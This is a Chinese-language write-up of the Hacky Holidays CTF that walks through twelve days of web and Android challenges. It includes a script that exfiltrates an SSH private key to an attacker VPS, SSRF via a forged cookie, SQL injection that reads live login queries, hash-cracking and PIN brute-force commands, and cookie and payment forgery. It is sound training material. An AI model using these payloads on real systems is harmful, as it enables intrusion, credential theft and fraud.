目录导航
Hacky Holidays Writeup: The notebook of the Grinch’s Punisher
第 1 天 – 寻找格林奇的隐藏巢穴
- 和往常一样,我们访问 h1-ctf 程序页面h1-ctf-program并找到这个 CTF 的目标。
- 我们访问https://hackyholidays.h1ctf.com,我们注意到 CTF 的第一部分托管在ELFMAIL 似乎发生了一些网络钓鱼攻击,并且 Grinch 正在收集用户凭据。
- 对于任何登录尝试,显示的登录页面将始终返回相同的响应状态代码(200 OK),并且经过混淆的 JS 代码将返回登录当前无效的消息(毕竟这是网络钓鱼活动)
- 在对各种目录和参数进行模糊测试后,我们注意到即使我们删除了登录门户发送的所有 POST 参数,响应代码也会相同。
- 删除所有参数后,我们尝试使用不同的单词列表进行另一轮模糊测试。令我们惊讶的是,这次我们发现了一个隐藏参数
debug
,它将返回一个详细的错误消息,泄漏系统目录。
详细错误请求:
POST /login-store HTTP/1.1
Host: elfmail.hackyholidays.h1ctf.com
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
debug=true

6.然后,我们尝试使用泄露的信息来识别潜在的应用程序目录/路径。事实上,收获是一个目录,它也启用了目录列表。

在这里我们还可以访问 flag.txt 存储第 1 天的flag

第 2 天 – 圣诞糖果中的盐代替糖
- 参与的第二天向我们展示了网络钓鱼页面中的管理员登录面板引用。
- 我们从内容发现开始,我们确定存在备份目录。有趣的是,我们通过运行 (dirsearch.txt wordlist)[ https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/dirsearch.txt ]发现我们为下面的目录获得了不同的大小。保护某些敏感文件的尝试不足。
/backup/ -> 403 Forbidden
/Backup/ -> 200 OK

3.通过访问/Backup/目录,我们发现托管在那里的数据库文件。下载后,我们发现该文件存储了用户名、密码哈希和盐。然而,该文件似乎已部分损坏,并且 grinch 哈希的盐分不清楚。

4.由于这些是 MD5 散列密码,我们可以创建散列格式并尝试使用 hashcat 破解它们。对于我们拥有哈希值的前 2 个用户,我们将以下哈希值存储在一个文件中
5de402c02cbf657370d179808f26d450:564315833g
2309467bac72082e270195f5a43303d0:angelae
5.然后继续使用 hashcat,它将在几秒钟内破解哈希 Hashcat 命令
hashcat -a 0 -m 10 hashes_day2.txt /usr/share/wordlists/rockyou.txt --force
破解密码:
bob:freedom
jim:austin

- 尝试使用这些帐户登录,确认 db.sql 文件提到的内容。他们都被锁定并且无法登录。
- 很明显,我们需要以某种方式获取该
grinch
帐户的密码。由于我们只有部分盐,我们假设 grinch 可能没有从去年中吸取教训,并且仍在使用稍微一周的练习。因此,我们尝试识别与其模式匹配并且可能存在于流行词表中的哈希的潜在候选者(是的,你猜对了,rockyou.txt)
从淡盐开始,得到潜在的盐
> cat /usr/share/wordlists/rockyou.txt | grep '^pare' > salts.txt
制作要破解的哈希列表
> for i in $(cat salts.txt); do echo 0273f802f2882bcd5daf8f08a3fee512:$i >> hashes2_day2.txt; done
破解hash
> hashcat -a 0 -m 10 hashes2_day2.txt /usr/share/wordlists/rockyou.txt --force
几分钟后,我们成功命中,显示密码是amaflor2
0273f802f2882bcd5daf8f08a3fee512:pareh20:amaflor2

8.我们现在可以尝试使用这些凭据登录 grinch:amaflor2
我们获得了有效的登录名,我们可以获得第二个flag

第 3 天 – 比格林奇更邪恶的是什么?- sup3r-grinch
- 第三天从第二天离开我们的地方开始。以格林奇身份登录。在data下存在一个新目录。但是我们收到消息说我们的用户没有足够的权限
This user does not have access to this feature

2.我们在后台进行目录枚举,它揭示了以下端点
https://elfmail.hackyholidays.h1ctf.com/harvest-admin/user -> reveals user info, as also user role (indeed we are just assigned the `user` role
https://elfmail.hackyholidays.h1ctf.com/harvest-admin/api
https://elfmail.hackyholidays.h1ctf.com/harvest-admin/api/users
我们记下它们并继续 3) 我们注意到分配给我们会话的 cookie 是 JWT 格式
会话 Cookie 篡改 eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkltZHlhVzVqYUNKOSIsImF1dGgiOiIwMjY5NjRhZmU1NDU2MzUxYzI1ZjI3MTIwM2YyNmE0MSJ9
3.通过解码,我们注意到它有两部分 {"data":"eyJ1c2VybmFtZSI6ImdyaW5jaCJ9","auth":"026964afe5456351c25f271203f26a41"}
,一个似乎包含一些数据,另一个似乎是一个 MD5,它可能验证了我们的data
会话 {"username":"grinch"}
。username
我们也许能够以不同的用户身份进行身份验证。
然而,篡改用户名不会提供有效的会话,这可能意味着 auth 值与username
Forged Cookie
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkltZHlhVzVqYUNKOSIsImF1dGgiOnRydWV9Cg==
Decoded Cookie
{"data":"eyJ1c2VybmFtZSI6ImdyaW5jaCJ9","auth":true}
如您所见,我们将auth
值更改为True
如果auth
尚未定义参数可以获取的值的类型,我们可以传递此值,并且身份验证检查将始终验证为 True,从而允许我们以我们喜欢的任何用户身份进行身份验证。
令我们惊讶的是,这确实给了我们一个有效的会话。因此,我们可以尝试以第 2 天认识的其他用户身份登录,希望他们拥有更高的权限
bod
jim
- 我们为每个用户伪造一个 cookie。
Cookie forged as Bob:
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkltSnZZaUo5IiwiYXV0aCI6dHJ1ZX0=
最初发现的 /user 端点确认我们现在可以使用另一个用户访问应用程序。虽然这两个用户似乎都有这个user
角色。这意味着我们需要一些我们目前不知道的其他用户

- 由于我们还发现了一个 /api 端点,我们希望来自 JWT 的用户名以某种方式与该 API (api/users) 交互。但是,API 端点不允许直接访问,因为用户缺少某种身份验证
{"error":"Authentication Required"}
鉴于我们可以在 cookie 中伪造任何值,我们可能能够执行某种 SSRF 攻击并使应用程序与 API 交互。为了确认这一点,我们伪造了下面的 cookie
Username:
{"username":"../"}
Decoded Cookie;
{"data":"eyJ1c2VybmFtZSI6Ii4uLyJ9","auth":true}
Final Cookie:
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNklpNHVMeUo5IiwiYXV0aCI6dHJ1ZX0=
- 通过设置上面的cookie,我们可以确认可以在API内进行遍历。在下面的屏幕截图中,您可以观察使用的 cookie 的解码主体。

- 与第 6 步类似,我们将用户名设置为
"../users"
允许我们列出应用程序的所有用户并显示sup3r-grinch
具有admin
权限的新用户
List users Cookie
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNklpNHVMM1Z6WlhKekluMD0iLCJhdXRoIjp0cnVlfQ==

- 我们现在可以伪造最终的 cookie 并访问该
data
部分
Admin User Cookie:
eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkluTjFjRE55TFdkeWFXNWphQ0o5IiwiYXV0aCI6dHJ1ZX0=

抢flag

第 4 天 – 圣诞节 (PIN) 信件被盗
- 在格林奇狩猎的第 4 天。我们现在可以删除 Grinch 收集到的凭证。或者可能不是?grinch 似乎强化了这个功能,并添加了一个在他的设备上发送的 OTP,它是完成记录删除所必需的。除了无法访问编号为 的设备之外,
485
还有两个问题。
- 我们的 IP 在 3 次错误的 PIN 尝试后被阻止
- 2FA 代码在一段时间后过期
这不允许我们直接暴力破解(或猜测) PIN 码?
- 绕过此类限制的一种常见方法是让服务器相信您的请求来自不同的 IP。如果服务器没有附加或重写标头(例如
X-Forwarded-For
使用您的原始 IP),这是可能的。
因此,通过设置一个标头,例如X-Forwarded-For
旋转值,我们可以让服务器相信我们的请求来自不同的主机。一旦第一个问题被绕过,这是一个速度问题,以及我们能够以多快的速度在 2FA 代码过期之前获取它。
- 首先我们需要从下面的请求中获取一个挑战哈希
POST /harvest-admin/data/ HTTP/1.1
Host: elfmail.hackyholidays.h1ctf.com
Cookie: token=eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkluTjFjRE55TFdkeWFXNWphQ0o5IiwiYXV0aCI6dHJ1ZX0=
Content-Length: 8
Content-Type: application/x-www-form-urlencoded
Connection: close
delete=1
在响应中搜索name="challenge"
并在下面的 ffuf 命令中使用该值
- 我们现在可以使用 ffuf 暴力破解先前生成的挑战的 PIN
生成所有可能的pin
> for i in {0000..9999}; do echo $i >> ~/Documents/HackerOne/hackyholidays\ 2021/pins.txt;done
爆破2FA(用一个新的哈希码更改哈希码)
> ffuf -u https://elfmail.hackyholidays.h1ctf.com/harvest-admin/data/ -X POST -H "Cookie: token=eyJkYXRhIjoiZXlKMWMyVnlibUZ0WlNJNkluTjFjRE55TFdkeWFXNWphQ0o5IiwiYXV0aCI6dHJ1ZX0=" -H "Content-Type: application/x-www-form-urlencoded" -H "X-Forwarded-For: 10.10.10.FUZZ" -d "delete=1&challenge=e6d3dc973c17b291248cb9e8185127f0&pin=FUZZ" -w ~/Documents/HackerOne/hackyholidays\ 2021/pins.txt -t 300 -x http://127.0.0.1:8080 --fs 2451
几秒钟后 ffuf 将返回有效的 PIN

获取flag

第 5 天 – 圣诞曲奇碎做一个flag
- 新的一天和一个全新的目标即将到来。我们访问启用了 [Staff Info] ( https://intranet.hackyholidays.h1ctf.com/staff_info/ ) 挑战的Intranet 域。
- 访问新的挑战页面,我们看到了格林奇的狗和一些关于它的信息。像姓名、薪水、出生日期等。检查 burp,我们注意到已经发送了一些请求,每个请求都提取不同的值。所以我们检索到以下5条信息
- Name
- Address
- Position
- Image
- Salary
- Dod (出生日期)
该请求使用一个id
参数,该参数强烈指示潜在的访问控制问题 (IDOR)。3) 我们继续对每个 URL 进行测试
Name
**解释:**简单的 IDOR,将id
值更改为id=1
将给我们第一个flag
Request URL
`https://intranet.hackyholidays.h1ctf.com/staff_info/api/name?id=1
Response
"flag_part_1":"flag{c****"
Address
说明:初始请求使用了c81e728d9d4c2f636f067f89cc14862c
可以轻松解码的哈希值,它是 value 的 MD5 哈希值2
。我们继续为值创建哈希值1
,即c4ca4238a0b923820dcc509a6f75849b
Request URL
https://intranet.hackyholidays.h1ctf.com/staff_info/api/address?id=c4ca4238a0b923820dcc509a6f75849b
Response
"flag_part_2":"1**-0"
Position
说明:请求使用解码为的 base64 编码值{"user_id":2}
。通过将值更改为{"user_id":1}
并编码为 base64,我们可以获得flag的下一部分
Request URL
https://intranet.hackyholidays.h1ctf.com/staff_info/api/position?id=eyJ1c2VyX2lkIjoxfQ==
Response
"flag_part_3":"***-4a"
Image
说明:图像端点没有使用参数,但它似乎是根据 Cookie 集拉取图像的Cookie: id=2
。通过将值更改为,Cookie: id=1
我们可以获得flag的下一部分
GET /staff_info/api/image HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Cookie: id=1
Response
"flag_part_4":"5c-****-**8"
Salary
说明:在这种情况下,尝试交换id
值将返回一条消息,表明我们无权访问该值"error":"You do not have access to this resource
。可以通过将请求动词更改为PUT
PUT /staff_info/api/salary?id=1 HTTP/1.1 Host: intranet.hackyholidays.h1ctf.com Response "flag_part_5":"f****"
Dob
说明:与上述类似,id
更改值将返回无法访问该资源的响应。我们确定参数污染是可能的
GET /staff_info/api/dob?id=1&id=2 HTTP/1.1 Host: intranet.hackyholidays.h1ctf.com Response "flag_part_6":"***a}"
- 将所有部分放在一起,我们得到了第 5 天的最终flag
第 6 天 – 在槲寄生下亲吻 19.99 美元
- 一个新的应用程序在范围内,似乎 grinch 可以通过OnlyGrinch应用程序轻松赚钱
- 可以选择创建一个帐户来购买 grinch 的高级内容
在这一点上进行了很多尝试。对小时路径、参数和值进行模糊测试。还可以创建具有各种有效负载的电子邮件,因为我们可以在格式中包含几乎任何内容。 "<payload_here>"@test.com
没有任何效果。3)经过大量的模糊测试(并密切关注 discord hacker101 组)。注意到需要一个特定的词汇表。我最终通过golang.txt
来自Seclists
.

同样在应用程序中,付款是通过 Stripe 处理的,这可能是对/webhook
端点的暗示。
- 现在可以访问webhook,我们会得到一个响应,例如
"error":"Missing Required Input"
. 因此,我们需要确定要发送的正确请求主体。 - 我们深入了解 Stripe 文档,并确定了与支付 API 请求相关的以下页面PaymentIntent 对象 我们现在可以使用下面显示的正文设置请求。不过,我们需要更改一些值:
- 收据电子邮件:这将是链接到我们帐户的电子邮件
- amount : 将其设置为身份验证后 Web 应用程序中显示的金额 (19.99$)
POST /premium_content/webhook HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Cookie: og-token=f5ec3aa88cd9ae173b41614ee3bd7cc8
Content-Length: 472
Origin: https://intranet.hackyholidays.h1ctf.com
Content-Type: application/json
{ "id": "pi_1Dpddo2eZvKYlo2CYgGISnIa", "object": "payment_intent", "amount": 1999, "amount_capturable": 0, "amount_received": 0, "capture_method": "automatic", "charges": { "object": "list", "data": [], "has_more": false, "url": "/v1/charges?payment_intent=pi_1Dpddo2eZvKYlo2CYgGISnIa" }, "payment_method_types": [ "card" ], "receipt_email": "[email protected]", "status": "accepted"}
- 发出上述请求将返回
"error":"Payment Failed"
。这是一条新的错误消息,意味着我们在正确的路径上,但我们仍然需要调整一些选项/参数。所以我们回到文档,我们看到status
参数
来自 Stripe 文档
Status of this PaymentIntent, one of requires_payment_method, requires_confirmation, requires_action, processing, requires_capture, canceled, or succeeded. Read more about each PaymentIntent status.
- 我们制作一个新的请求,
status
设置succeeded
如下,它返回"message":"Payment Received, account upgraded"
POST /premium_content/webhook HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Cookie: og-token=f5ec3aa88cd9ae173b41614ee3bd7cc8
Content-Length: 421
Origin: https://intranet.hackyholidays.h1ctf.com
Content-Type: application/json
{ "id": "pi_1Dpddo2eZvKYlo2CYgGISnIa", "object": "payment_intent", "amount": 1999, "amount_capturable": 0, "amount_received": 0, "capture_method": "automatic", "charges": { "object": "list", "data": [], "has_more": false, "url": "/v1/charges?payment_intent=pi_1Dpddo2eZvKYlo2CYgGISnIa" }, "payment_method_types": [ "card" ], "receipt_email": "[email protected]", "status": "succeeded"}

我们现在可以使用我们的帐户登录并获取高级 grinch 图片和flag

第 7 天 – 圣诞清单里藏着一份礼物
- 新的一天,新的挑战。今天我们需要下载一个名为christmaslist.apk的安卓应用
- 我们在我们的设备上安装 .apk,一旦我们打开它,我们就会看到一个请求被发送到 Intranet 域
GET /api/christmasList?flag=false HTTP/1.1
Host: intranet.hackyholidays.h1ctf.com
Accept: application/json, text/plain, */*
Authorization: Bearer MjJlNzA1ZDY4OWZiYzE4MTk5Mjc2NzgwNDU2MGQ0YTYgIC0K
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.9.1
Connection: close
3.所以这里的攻击很简单,把flag
参数改成true
and here is your early Christmas gift

负责此的应用程序中的代码如下

第 8 天 – 格林奇的隐藏礼物
- 第 8 天,一个新的 apk 文件等待着我们2FA App
- 在设备上下载并安装应用程序表明我们需要提供 PIN 才能访问更多功能。
- 我们尝试检查应用程序代码并将 .apk 转换为 jar 查看以下命令
./d2j-dex2jar.sh ~ /Downloads/hackyholidays/grinch2fa.apk -o ~ /Desktop/grinch.jar
- 然后我们可以使用 JD-Gui 打开并查看代码并查看代码。我们可以看到一个登录活动。

代码有点混淆,但我们可以看到它试图调用AES
从代码的另一部分使用的加密函数。

- 从登录活动中我们可以看到,它可能需要一个 4 位数的密码才能让我们访问,PIN 码将重复 4 次并用于解密文件。从里面
grinch2fa.apk
我们也可以db.encrypted
通过反编译得到加密的数据库文件
apktool d grinch2fa.apk
- 根据上面的信息,我们可以创建一个循环迭代到 value
9999
并尝试解密文件。由于这似乎是一个 sqlite 数据库文件,我们可以通过它的魔术字节来识别它。这将为我们提供 OTP2223
,并通过向应用程序提供代码,我们看到totp.db
创建了文件。我们可以读取数据库文件并获取其内容。该flag是 base64 编码的
下面的脚本可以在db.encrypted
文件上运行,并将返回正确的 PIN。
Python 脚本(感谢 h3x0ne 提供的帮助)
#!/usr/bin/env python3
import itertools
from Crypto.Cipher import AES
n = []
for p in itertools.permutations(range(10),4):
n.append(''.join(map(str, p)))
m =list(itertools.permutations([0,1,2,3,4,5,6,7,8,9], 4))
with open('db.encrypted', 'rb') as t:
encdata = t.read()
for c in itertools.product(range(10), repeat=4):
k = "%s" % ''.join(map(str, c))
key = k*4
cipher = AES.new(key, AES.MODE_ECB)
decr = cipher.decrypt(encdata)
with open('db.final', 'wb') as n:
if (decr[0:4].hex() == "53514c69"):
print(f'pin: {k}');
n.close
解密的数据库文件

flag解码

第 9 天 – 参加圣诞派对
- 挑战的第 3 部分开始,目标是一个新的子域,C&C
- 我们看到一个注册表单,但是在尝试注册时,似乎只允许特定域。

- 虽然未能在几个域中注册帐户,但我们继续进行进一步枚举。我们的目录暴力破解返回与此挑战相关的端点。
https://c2.hackyholidays.h1ctf.com/p/
- 端点将需要一个 POST 参数
email
,并将返回如下所示的响应。这表明我们与一些 API 进行交互,并且它也有各种版本(我们可以在下面看到版本 3)

- 根据以上信息。我们确定以下端点
https://c2.hackyholidays.h1ctf.com/api/v3/
由于我们注意到已经创建了各种版本的 API,我们检查并看到还有 2 个以前的版本存在
https://c2.hackyholidays.h1ctf.com/api/v1/
https://c2.hackyholidays.h1ctf.com/api/v2/
上面的端点显示了一些目录,但很明显我们无权访问/users
并/checkemail
返回一条Not allowed
消息
- 这暗示可能在以前的版本控制中存在一些问题,这些问题可能会在以后得到缓解。在枚举更多之后,我们发现我们可以通过下面的请求遍历 API 的其他版本
POST /p/../v1/ HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
[email protected]
这将允许我们向版本 1 API 端点提交请求。
- 所以现在我们尝试访问上面的端点。
Not Allowed
然而,当我们试图访问时,我们再次收到/users
。尽管如果我们尝试更深入,我们会在尝试访问下面的端点时注意到一些不同的东西
POST /p/../v1/users/1 HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
[email protected]
返回的响应是
{"error":"User not found"}
所以现在我们实际上可以枚举用户 8) 我们遍历用户 ID 直到我们到达用户 ID 5
。我们会收到一封带有唯一域的注册电子邮件 [email protected]

9.我们现在很清楚允许的域可能是什么。我们继续并在该域中注册一个帐户
POST /register/ HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Content-Length: 87
Content-Type: application/x-www-form-urlencoded
email=w31rd0%40this.is.h1.101.h1ctf.com&password=Password123!&c_password=Password123!
一旦我们在新创建的帐户中通过身份验证,我们就可以获取flag。

第 10 天 – 如何成为怪胎(Ho-Ho-Ho)
- 使用我们之前创建的帐户,我们注意到应用程序中存在一些新部分。有一个
uploads
目录,还有一个settings
. - 我们注意到我们的用户权限是
Read-Only
并且似乎我们可以更改我们的password
,但不能更改我们的role
.

但是我们发现,即使我们尝试更新密码,也没有任何反应。同样,如果我们将role
参数添加到我们的请求中,我们将保留Read-only
特权。由于这个端点似乎没有任何效果,我们回去一点。3)我们现在创建一个新帐户并尝试添加一个role
参数,以防万一我们可以在注册时设置我们的用户角色。我们在下面发送请求
POST /register/ HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
email=w31rd0%2B1%40this.is.h1.101.h1ctf.com&password=Password1&c_password=Password1&role=admin
帐户已创建。进行身份验证后,我们可以看到现在我们拥有了admin
角色。

3.我们可以导航到上传并获取第 10 个flag

第 11 天 – 北极的隐藏礼物
- 第 11 天,我们注意到
/uploads
端点具有上传功能,仅允许上传 .html 文件 - 我们继续处理一个包含一些标签的文件,这些标签试图从我们控制的主机中检索内容
<html>
<img src=http://VPS-IP:port/test1>
</html>
我们注意到,一旦文件上传,我们就会收到来自我们不拥有的 IP 的请求18.219.86.178

这意味着我们上传的文件会发生一些处理。试图赢得容易的胜利,例如document.cookie
会失败。
- 在前一天的侦察中,我们发现用户的主目录端点存在,但是
403 Forbidden
当我们尝试访问它和它可能托管的公共文件(例如.ssh/id_rsa
)时,我们得到了。 https://c2.hackyholidays.h1ctf.com/~/ - 我们尝试上传下面的文件,希望处理我们上传的 IP 可能被允许查看这些文件。
<!DOCTYPE html>
<html>
<body>
<iframe id="test" src="https://c2.hackyholidays.h1ctf.com/~/.ssh/id_rsa" width="1900" height="1900">
</body>
</html>
上传后,我们确实可以看到文件呈现为屏幕截图

但是,尝试通过 OCR 提取页面内容并没有太大帮助,因为并非所有字母都可以正确提取,因此我们最终会得到无效的 ssh 密钥。因此,我们尝试将文件发送到我们的服务器。这是非常有问题的,因为我们很少收到对我们服务器的任何请求,而且文件大小可能远大于GET
参数值的允许大小。最好的方法可能是通过POST
xhr 请求,将文件内容作为 `POST 请求的主体发送,但是在 CTF 期间,使用 GET 请求似乎更容易。因此我们尝试使用下面的 HTML 代码,将发送的内容分成更小的块。我们还必须将上传请求置于一个循环中,并限制速率,因为我们只收到了 15 个请求中的 2 个发送
<script>
fetch('https://c2.hackyholidays.h1ctf.com/~/.ssh/id_rsa')
.then(response=>response.text())
.then(text=>{
window.location.href='http://VPS/?key=' + encodeURIComponent(btoa(text.slice(0,500)))
});
</script>
慢慢地,我们能够提取id_rsa
密钥。您可以在下面看到,密钥的部分部分以 base64 编码发送,以避免它破坏请求

- 由于 base64 编码,base64 编码值的最后部分可能被解码为错误值,因此我们不得不用不同大小的切片重做该过程,以确认正确提取的所有字符,最后我们得到了正确的钥匙。
- 我们记得在最初的侦察期间,我们还发现了一个 github配置目录。托管以下内容
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/grinch-networks-two/directory-protector
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
因此,我们有一个 github存储库,该存储库与该用户配置文件的所有其他部分一样不可访问。Github 可以设置为使用 ssh 配置,因此提取的密钥在这里可能很有用。
- 运行以下命令可以确认对 github 存储库的访问,我们可以抓取 flag
配置key
> chmod 600 id_rsagrinch
认证
> ssh -i id_rsagrinch [email protected]
Get repository
> git clone [email protected]:grinch-networks-two/directory-protector
获取flag
> cat cat directory-protector/README.md

第 12 天 – 圣诞快乐圣诞怪杰
- 在第 11 天之后,基于
README.md
当天的内容。我们再次下载 github 存储库以查看是否有任何更新。 - 我们注意到已经添加了一个文件,名为
protector.php
<?php
class Protector
{
public function __construct($codewords){
$authorised = false;
if( isset($_COOKIE["authorisation_token"]) ) {
$token = $_COOKIE["authorisation_token"];
$auth = json_decode(base64_decode($token), true);
if (isset($auth["token"], $auth["server"])) {
$authorisation_url = 'http://' . $auth["server"] . '.server.local/authenticate?token=' . $auth["token"];
$response = json_decode(@file_get_contents($authorisation_url), true);
if (isset($response["authorised"], $response["codeword"])) {
if ($response["authorised"] === true) {
if ($response["codeword"] === $this->expectedKeyword($codewords)) {
$authorised = true;
}
}
}
}
}
if( !$authorised ){
http_response_code(403);
die("Request Blocked using Directory Protector");
}
}
private function expectedKeyword($codewords){
$words = explode(PHP_EOL,file_get_contents($codewords));
$line = intval(date("G")) + intval(date("i"));
return $words[$line];
}
}
此外,内容README.md
已更新,为我们提供了一个新目录,该目录显然受到上述 PHP 代码的保护。 新目录
### Something for you to check out ;)
/infrastructure_management
- 分析上面的代码,我们注意到我们需要一些东西。一个。设置一个名为 authorisation_token b 的 cookie。该 cookie 必须经过 base64 编码,编码值必须是 JSON 格式并包含 2 个值:
- token
- server
4.我们还注意到服务器值将插入下面的 URL 并创建一个端点,该端点将尝试与网络的子域通信server.local
因为 http://' . $auth["server"] . '.server.local/authenticateAnalysing
我们可以控制server
参数,我们可以注入一个值,将流量发送到我们控制的服务器. 这可以通过使用如下 cookie 来完成
{"token":"test","server":"VPS:8000/\/?test="}
一旦插入到上面的 URL 中,该server.local
部分将被视为参数,用于发送 HTTP 请求的主机将是 VPS 在端口 8000 上的 IP d。为了将authorised
值设置为,true
我们还需要服务器以包含 2 个值的 JSON 响应进行响应
- “授权”设置为真
- “codeword”设置为从关键字列表中提取的特定值。正确的值是根据服务器时间推导出来的,会由下面的代码生成
$words = explode(PHP_EOL,file_get_contents($codewords));
$line = intval(date("G")) + intval(date("i"));
return $words[$line];
可以在服务器上找到的流动的code.txt 列表中找到潜在的候选关键字列表。
根据以上信息,我们需要设计一个攻击:
server
将我们的服务器作为cookie中的值注入。- 我们的服务器应该返回一个响应,其中包括
"authorised":true
基于服务器时间的正确关键字。
为此,我们在服务器上托管以下 PHP 代码。我们很幸运有一个与 CTF 使用的服务器在同一时区的 VPS,因此我们不必调整下面的日期功能。
<?php
function expectedKeyword($codewords){
$words = explode(PHP_EOL,file_get_contents($codewords));
$line = intval(date("G")) + intval(date("i"));
return $words[$line];
}
echo "{\"authorised\":true,\"codeword\":\"".expectedKeyword('code.txt')."\"}";
3.然后我们提供如下代码
php -S 0.0.0.0:8000 code.php
并制作以下cookie
Cookie:
> authorisation_token=eyJ0b2tlbiI6InczMXJkMCIsInNlcnZlciI6IjE3Mi4xMDUuWFguWFg6ODAwMC9cLz90ZXN0PSJ9
Decoded Cookie
> {"token":"w31rd0","server":"172.105.XX.XX:8000/\/?test="}
4.我们发送请求并通知我们在服务器上受到了攻击

我们的服务器将响应获得授权所需的 JSON 响应

我们注意到我们现在可以查看受保护的页面

- 在进行模糊测试时,我们确定了一个名为release的目录,其中包含一些有关为登录表单设置的保护的信息。
- 我们注意到,由于实施的复杂性,不可能暴力破解(或破解)任何用户的密码
- 每次登录尝试都有 5 秒的时间延迟,这将使攻击更加困难。
- 我们还注意到请求被发送到以下端点 https://c2.hackyholidays.h1ctf.com/infrastructure_management/get_column?column=username
一段时间后,我们发现该column
参数易受 SQLi 攻击,我们可以尝试转储数据库,该数据库为我们提供用户和哈希,但如前所述,尝试破解没有意义

- 鉴于上述信息和亚当(这个邪恶的创造者)分享的一些提示,我们知道
- 格林奇经常登录服务器
- 即使登录有效,他也会受到时间延迟的影响
基于以上信息,我们认为可能由于存在时间延迟,处理登录的 SQL 查询将存储在某个地方,直到 5 秒过去并被评估。在谷歌上搜索了一下之后,我们得出了以下感兴趣的表 The INFORMATION_SCHEMA PROCESSLIST Table
(更多信息在这里)该表有一个名为INFO
我们感兴趣的列,因为它似乎存储了实际的查询。因此,我们可以使用 SQL 注入尝试从该表中读取INFO column
- 我们遇到的另一个问题是易受 SQLi 攻击的端点仅返回 10 个字符长的响应。因此我们需要调整我们的注入来提取我们想要的内容。下面的请求将提取密码的第一部分。我们可以在 mid() 函数中增加第二个值来提取更多的密码部分
GET /infrastructure_management/get_column?column=mid(info,69,10)+FROM+INFORMATION_SCHEMA.PROCESSLIST-- HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
Cookie: candc_token=d7f97196a4a18de63ed841abbea89fd8; authorisation_token=eyJ0b2tlbiI6IlwiPjxpbWcrc3JjPWh0dHA6Ly8ydHd1Y2cyMGR2aDRqbDl1cThxOGt6OGVmNWwzOXMuYnVycGNvbGxhYm9yYXRvci5uZXQ+Iiwic2VydmVyIjoiMTcyLjEwNS5YWC5YWDo4MDAwL1wvP2Zvbz0ifQ==
Connection: close

我们继续尝试捕获 grinch 的登录查询,因为他每 1 分钟登录一次,我们最终得到了 Grinch 密码下方的密码 Yo9R38!IdobFZF6eFS3#
完成 CTF 后,确定只需一个请求即可提取flag(为此归功于 Jeti)
GET /infrastructure_management/get_column?column=mid(info,71,10)+FROM+INFORMATION_SCHEMA.PROCESSLIST+where+state+like+'%25sleep'+union+all+select+mid(info,81,10)+FROM+INFORMATION_SCHEMA.PROCESSLIST+where+state+like+'%25sleep'+union+all+select+mid(info,91,10)+FROM+INFORMATION_SCHEMA.PROCESSLIST+where+state+like+'%25sleep'+and+info+like+'%25grinch%25'-- HTTP/1.1
Host: c2.hackyholidays.h1ctf.com
- 我们现在可以使用凭据登录
grinch:Yo9R38!IdobFZF6eFS3#
并查看面板上的格林奇成功攻击

然后我们就可以Burn Infrastructure
抢flag了

转载请注明出处及链接